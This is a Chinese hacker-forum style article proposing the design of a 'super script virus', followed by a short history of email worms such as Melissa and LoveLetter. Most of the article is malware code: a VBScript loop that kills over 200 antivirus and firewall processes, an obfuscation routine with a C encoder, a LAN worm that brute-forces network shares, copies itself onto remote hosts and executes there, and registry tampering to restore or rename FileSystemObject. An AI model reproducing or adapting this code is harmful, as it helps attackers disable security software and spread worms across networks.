网络安全 频道

对超级脚本病毒的构思

告别了以往爱出风头,爱吹牛皮的时代,学点真本事才是硬道理。好好学习,天天向上。下面是对超级脚本病毒的构想。 

脚本病毒的制造非常的容易,对于一个对编程一窍不通的人来说,只要对
windows系统和注册表有足够的了解,在到网络上下载几个病毒代码仔细看看,就能在短时间内写出一个病毒的变种体来,脚本病毒的特征性就是那么几个,没有多少编程技巧而言,所以真正的病毒制造者是不用vbscript写病毒的,现在由于脚本语言的流行,以及Micrsoft推出的WSH(Windows Script Hosting),更让这些脚本语言可以在一台计算机上兴风作浪。WSH是一个能让Visual Basic Script和JScript脚本在Windows环境下,如命令行里的批处理文件一样运行的一个服务。 
它可以让Script去创建一个
Windows里的COM/OLE对象,并去使用这些对象里的方法,属性和事件。脚本病毒的制造非常的容易,对于一个对编程一窍不通的人来说,只要对windows系统和注册表有足够的了解,在到网络上下载几个病毒代码仔细看看,就能在短时间内写出一个病毒的变种体来.因此脚本病毒容易写,也容易被清楚和防范,网上针对怎样防范它的文章可谓多如牛毛,人亦发展,病毒也要进化。假设:老猫开始训练了,老鼠如果不训练那不是找死嘛。 

1,现在的很多杀毒软件都能对未知的脚本病毒做出判断,所以病毒要想生存就必须做出更好的保护: 

(1).病毒要用到大量的VMI,使其可以杀掉杀毒软件或防火墙的进程,这里我给出一段代码: 
do 
strComputer = "." 
Set objWMIService = GetObject(""winmgmts:"" & ""{impersonationLevel=impersonate}!\\"" & strComputer & ""\root\cimv2"") 
fv = Array(""Notepad.exe"", ""pccguide.exe"", ""pccclient.exe"",""Rfw.exe"", ""DAVPFW.exe"", ""vpc32.exe"", ""ravmon.exe"", ""debu.exe"", ""scan.exe"", ""mon.exe"", ""vir.exe"", ""iom.exe"", ""ice.exe"", ""anti.exe"", ""fir.exe"", ""prot.exe"", ""secu.exe"", ""dbg.exe"", ""pcc.exe"", ""avk.exe"", ""spy.exe"", ""pcciomon.exe"", ""pccmain.exe"", ""pop3trap.exe"", ""webtrap.exe"", ""vshwin32.exe"", ""vsstat.exe"", ""navapw32.exe"", ""lucomserver.exe"", ""lamapp.exe"", ""atrack.exe"", ""nisserv.exe"", ""vavrunr.exe"", ""navwnt.exe"", ""pview95.exe"", ""luall.exe"", ""avxonsol.exe"", ""avsynmgr.exe"", ""symproxysvc.exe"", ""regedit.exe"", ""smtpsvc.exe"", ""moniker.exe"", ""program.exe"", ""explorewclass.exe"", ""rn.exe"", ""ms.exe"", ""microsoft.exe"", ""office.exe"", ""smtpsvc.exe"", ""avconsol.exe"", ""avsunmgr.exe"", ""vsstat.exe"", ""navapw32.exe"", ""navw32.exe"", ""nmain.exe"", ""luall.exe"", ""lucomserver.exe"", ""iamapp.exe"", ""atrack.exe"", ""nisserv.exe"", ""rescur32.exe"", ""nisum.exe"", "" navlu32.exe"", ""navrunr.exe"", ""pview95.exe"", ""f-stopw.exe"", ""f-prot95.exe"", ""pccwin98.exe"", ""fp-win.exe"", ""nvc95.exe"", ""norton.exe"", ""mcafee.exe"", ""antivir.exe"", ""webscanx.exe"", ""safeweb.exe"", ""cfinet.exe"", ""cfinet32.exe"", ""avp.exe"", ""lockdown2000.exe"", ""lockdown2002.exe"", ""zonealarm.exe"", ""wink.exe"", ""sirc32.exe"", ""scam32.exe"", ""regedit.exe"", ""tmoagent.exe"", ""tmntsrv.exe"", ""tmproxy.exe"", ""tmupdito.exe"", ""tsc.exe"", ""krf.exe"", ""kpfw32.exe"", ""_avpm.exe"", ""autodown.exe"", ""avkser.exe"", ""avpupd.exe"", ""blackd.exe"", ""cfind.exe"", ""cleaner.exe"", ""ecengine.exe"", ""fp-win.exe"", ""iamserv.exe"", ""lcloadnt.exe"", ""lookout.exe"", ""n32acan.exe"", ""navw32.exe"", ""normist.exe"", ""padmin.exe"", ""pccwin98.exe"", ""rav7win.exe"", ""smc.exe"", ""tca.exe"", ""vettray.exe"", ""ackwin32.exe"", ""avpnt.exe"", ""avpdos32.exeP"", ""avsched32.exe"", ""blackice.exe"", ""efinet32.exe"", ""esafe.exe"", ""ibmasn.exe"", ""icmoon.exe"", ""navapw32.exe"", ""nupgrade.exe"", ""pavcl.exe"", ""pcfwallicon.exe"", ""scanpm.exe"", ""sphinx.exe"", ""sphinx.exe"", ""tds2-98.exe"", ""vsscan40.exe"", ""webscanx.exe"", ""webscan.exe"", ""anti-trojan.exe"", ""ave32.exe"", ""avp.exe"", ""avpm.exe"", ""cfiadmin.exe"", ""dvp95.exe"", ""espwatch.exe"", ""ibmavsp.exe"", ""icsupp95.exe"",""jed.exe"", ""moolive.exe"", ""nisum.exeP"", ""nvc95.exe"", ""navsched.exe"", ""persfw.exe"", ""safeweb.exe"", ""scrscan.exe"", ""sweep95.exe"", ""tds2-nt.exe"", ""_avpcc.exe"", ""apvxdwin.exe"", ""avwupd32.exe"", ""cfiaudit.exe"", ""claw95ct.exe"", ""dv95_O.exe"", ""f-agnt94.exe"", "" findviru.exe"", ""iamapp.exe"", ""icload95.exe"", ""icssuppnt.exe"", ""mpftray.exe"", ""nmain.exe"", ""rav7.exe"", ""scan32.exe"", ""serv95.exe"", ""vshwin32.exe"", ""zonealarm.exe"", ""avpmon.exe"", ""avp32.exe"", ""kavsvc.exe"", ""mcagent.exe"", ""nvsvc32.exe"", ""mcmnhdlr.exe"", ""regsvc.exe"", ""mailmon.exe"", ""fp-win.exe"", ""mghtml.exe"")" 
for Each fa in fv 
Set colProcessList = objWMIService.ExecQuery (""Select * from Win32_Process Where Name = ’""&fa&""’"") 
For Each objProcess in colProcessList 
objProcess.Terminate() 
Next 
next 
loop 
Array()数组存放了200多个杀毒软件和防火墙的主进程,当然你可以在程序的一开始就定义这个数组,在下面的感染函数部分中,用它就可以删除这些软件的主程序体。猪都能想到的问题,不需要我再说了把。因为我的网名也叫“猪猪”,这些必须要抢在杀毒软件之前运行起来才能达到目的。 

(2).病毒要尽可能的用到变形功能,使用新的加密算法,当然脚本的加密算法是很简单的,在这一点上新欢乐时光就做的很好. 
Execute DeCode("kqe`mv fcjjm ") 
Function DeCode(Coded) 
For i=1 To Len(Coded) 
Curchar=Mid(Coded,i,1) 
If Asc(Curchar) = 15 then Curchar=chr(10) 
Else if Asc(Curchar) = 16 then Curchar=chr(13) 
Else if Asc(Curchar) = 17 then Curchar=chr(32) 
Else if Asc(Curchar) = 18 then Curchar=chr(9) 
Else Curchar=chr(Asc(Curchar)-2) 
end if 
DeCode=Decode & Curchar 
Next 
End function 
下面给出一个c的示例(技术不过关,请各位老大指教 Hackercc@qq.com ) 

#include <string.h> 
#include <stdio.h> 
main() 

FILE *in,*out,*read; 
char *exc="Execute DeCode(\""; 
char *excu="\")\n"; 
char *func="Function DeCode(Coded)\nFor i=1 To Len(Coded)\nCurchar=Mid(Coded,i,1)\n"; 
char *funct="If Asc(Curchar) = 15 then Curchar=chr(10)\nElse if Asc(Curchar) = 16 then Curchar=chr(13)\n"; 
char *functi="Else if Asc(Curchar) = 17 then Curchar=chr(32)\nElse if Asc(Curchar) = 18 then Curchar=chr(9)\nElse Curchar=chr(Asc(Curchar)-2)\nend if\nDeCode=Decode & Curchar\nNext\nEnd function\n"; 
char buf[100][101]; 
char name[30]; 
char ch; 
char *p; 
int i=0,j=0; 
gets(name); 
if((in=fopen(name,"r+"))==NULL) 

printf("Can’t open the file %",name); 
exit(0); 

ch=getc(in); 
while(!feof(in)) 

if(ch==15) ch=10; 
else if(ch==16) ch=13; 
else if(ch==17) ch=32; 
else if(ch==18) ch=9; 
else ch=ch-2; 
fseek(in,-1L,1); 
fputc(ch,in); 
fseek(in,0L,1); 
ch=getc(in); 

fclose(in); 
read=fopen(name,"r+"); 
do 

if(i>=100) 

fclose(in); 

p=fgets(buf[i],80,in); 
i++; 
}while(p!=NULL); 
fclose(read); 
out=fopen(name,"w+"); 
fputs(exc,out); 
for(;j<i-1;j++) 

fputs(buf[j],out); 

fputs(excu,out); 
fputs(func,out); 
fputs(funct,out); 
fputs(functi,out); 
fclose(out); 
}  


2, 病毒的攻击性可以扩展到有系统漏洞的主机上,蠕虫可以利用一些基本的DOS命令和第三方黑客工具来进行漏洞攻击 


3,病毒利用邮件和局域网进性传播: 

攻击局域网可以采用简化的network代码,并利用vmi直接在远程主机上运行病毒体,且可以破译共享密码(穷解太费时间,没什么必要): 
Sub netshare() 
Dim o1,o2,o3,o4,rand,dot,count,name,driveconnected, pwd,strings ,k 
count = "0" 
dot = "." 
driveconnected="0" 
set yu=createobject("scrip"+"ting."+"filesyst"+"emob"+"ject") 
set net=createobject("wsc"+"ript.n"+"etwork") 
set qq=createobject("WSc"+"ript.S"+"hell") 
on error resume next 
randomize 
randaddress() 

do 
do while driveconnected ="0" 
checkadress() 
sharename() 
pwd = "" 
pqd = "" 
strings = "0123456789abcdefghijklmnopqrstuvwxyz"  
For k = 1 to len(strings) step 1  
net.mapnetworkdrive "I:", "\\" & "name" &"\C" , "& pwd & mid(strings,k,1)" , "& pqd & mid(strings,k,1)" 
If instr(net.Body, Wrong) <> 0 Then  
pwd = pwd & mid(strings,k,1)  
End If  
Next  
’破译共享密码 
enumdrives() 
loop 
copy() 
disconnectdrive() 
qq "\\name\con\con",0 
run () 
loop 
end sub 

function run() 
Dim Controller, RemoteScript 
Set Controller = WScript.CreateObject("WSHC"+"ontroller") 
Set RemoteScript = Controller.CreateScript("system.vbe", "name") 
WScript.ConnectObject RemoteScript, "remote_" 
RemoteScript.Execute 

Do While RemoteScript.Status <> 2  
WScript.Sleep 100 
Loop 

WScript.DisconnectObject RemoteScript 
remote_Error() 
end function 

Sub remote_Error 
Dim theError 
Set theError = RemoteScript.Error 
WScript.Echo "Error " & theError.Number & " - Line: " & theError.Line & ", Char: " & theError.Character & vbCrLf & "Description: " & theError.Description 
WScript.Quit -1 
End Sub 

Function disconnectdrive() 
net.removenetworkdrive "I:" 
driveconnected = "0" 
end function 

Function copy() 
yu.copyfile dir2&"\system.vbe", "I:\
windows\" 
yu.copyfile dir2&"\system.vbe", "I:\
windows\system32\" 
yu.copyfile dir2&"\system.vbe", "I:\winnt\system32\" 
yu.copyfile dir2&"\system.inf", "I:\winnt\system32\" 
yu.copyfile dir2&"\system.inf", "I:\
windows\system32\" 
’复制到对方的机器上。 
end function  

Function checkaddress() 
o4 = o4 +1 
if o4 = "255" then randaddress() 
end function 

Function sharename() 
name = " octa & dot & octb & dot & octc & dot & octd " 
end function 

Function enumdrives() 
set you=net.enumnetworkdrives 
For p = 0 to you.Count -1 
if name = you.item(p) then 
driveconnected = 1 
else 
driveconnected = 0 
end if 
Next 
end function 

Function randum() 
rand = int((254 * rnd) + 1) 
end function 

Function randaddress() 
if count < 50 then 
o1=Int((16) * Rnd + 199) 
coun=count + 1 
else 
randum() 
o1=rand 
end if 
randum() 
o2=rand 
randum() 
o3=rand 
o4="1" 
end function 

4,有些
Windows的高级用户为了防范脚本病毒,把注册表中的filesystemobject项给删掉了,新的蠕虫将在执行的开始, 
检查系统的filesystemobject项是否存在,如果不存在的话,将重新写入filesystemobject项,当然你也可以将其换个名称,这样有些 
杀毒软件就不一定认识了, 
On Error Resume Next 
Set wa=CreateObject("WSc"+"ript.S"+"hell") 
tt=wa.RegRead("HKCU\Software\Microsoft\
Windows\CurrentVersion\Policies\System\DisableRegistryTools") 
if tt=1 then  
wa.RegWrite "HKCU\Software\Microsoft\
Windows\CurrentVersion\Policies\System\DisableRegistryTools", 00000000, "REG_DWORD" 
end if 
uu=wa.RegRead("HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}")  
if uu="" then 
uu.RegWrite "HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}" , "FileSystemObject", "REG_SZ" 
end if 
或者 
a.regdelete "HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\" 
a.regdelete "HKEY_CLASSES_ROOT\Scripting.FileSystemObject\" 
a.regwrite "HKEY_CLASSES_ROOT\wangzhitong\", "FileSystem Object", "REG_SZ" 
a.regwrite "HKEY_CLASSES_ROOT\wangzhitong\CLSID\", "{0D43FE01-F093-11CF-8940-00A0C9054228}", "REG_SZ" 
set yu=createobject("wangzhitong") 
以后系统内的filesystemobject项就被替换成了wangzhitong. 

6,自己写好的蠕虫怎能让其他的蠕虫一起存在一个系统中呢,所以要劲可能的消灭其他的病毒程序。当然你要先分析那些病毒程序,只要清除掉他们就行了。 

-------------------------------------------------------------------------------------------- 


简单的从别的地方复制了一些计算机病毒历史记录给大家参考 

1999/3/,一个名为“梅丽莎”(Melissa)的计算机病毒席卷欧、美各国的计算机网络。这种病毒利用邮件系统大量复制、传播, 
造成网络阻塞,甚至瘫痪。并且,这种病毒在传播过程中,还会造成泄密。 

2000/5/:“爱虫”(LoveLetter)病毒出现。“爱虫”病毒是一种脚本病毒,它通过微软的电子邮件系统进行传播。这一病毒的邮件主题为“I Love You”,包含一个附件“Love-Letter-for-you.txt.vbs”,一旦在微软电子邮件中打开这个附件,系统就会自动复制并向用户通讯簿中所有的电子邮件地址发送这一病毒,其传播速度比“梅莉沙”病毒还要快好几倍。 

2001/1/21  
一种变形的“梅丽莎”病毒侵袭麦金塔(Macintosh)电脑。这种病毒能感染Mac文件, 
病毒产生的大量电子邮件可以堵塞服务器,修改微软Word程序的设置,感染文件和模板。 
携带这种“梅丽莎”病毒的电子邮件附件名叫“Anniv.DOC”。这是这种类型的病毒第一次将矛头指向了麦金塔电脑。  

2001/2/15  
荷兰警方13日逮捕了一名自称发明了“库尔尼科娃”电脑病毒的20岁男子。此人要面临坐牢4年的处罚。 
通过电子邮件传播的“库尔尼科娃”病毒12日在欧洲、美洲和亚洲发作,大量垃圾邮件积压在电子邮件系统内, 
系统速度明显变慢,有的公司干脆关闭了电子邮件系统。这名荷兰男子自称是19岁的俄罗斯网球女星安娜·库尔尼科娃的球迷 
这个病毒的作者说,他不是编程专家,不过是从互联网上下载了病毒,然后编写程序完成的。 

2001/5/6  
一种新的恶性电脑病毒“欢乐时光”(Happytime/VBSHappytime.A.Worm)已在中国开始传播。 
“欢乐时光”病毒很可能是一种国产病毒,它是类似“爱虫”的蠕虫类病毒。用户通过美国微软公司办公套件(Outlook) 
收取带有“欢乐时光”病毒的邮件时,无论用户是否打开邮件,只要鼠标指向带毒的邮件,“欢乐时光”病毒即被激活, 
随后立即传染硬盘中的文件。感染“欢乐时光”病毒后,如果电脑时钟的日期和月份之和为13, 
则该病毒将逐步删除硬盘中的EXE和Dll文件,最后导致系统瘫痪。  

2001/5/11 

新病毒“主页”正在全球传播,这种被称作“HomePage”的病毒被看作是“库尔尼科娃”病毒的“远亲”。携带这种电脑病毒的邮件题目为“主页”,邮件正文写道:“嗨,你应该看看这个网页,它确实很酷。”邮件中夹带着一个名为“HOMEPAGE.HTML.VBS”的附件。用户一旦打开附件,病毒第一步先自我复制,并向微软Outlook地址簿中的每一个地址发去一封携毒邮件。然后搜索Outlook收件箱,将其中名为“主页”的信件统统删除,同时打开数个色情网页。值得庆幸的是,上述病毒没有造成太大的破坏,不到1万台电脑受此影响陷入了瘫痪。由于时差的关系,美国地区的防病毒公司在接到来自东半球的消息后,对病毒加以防范,成功抵制了病毒进一步扩散.

http://www.hack58.net/Article/60/64/2005/5764.htm

0
相关文章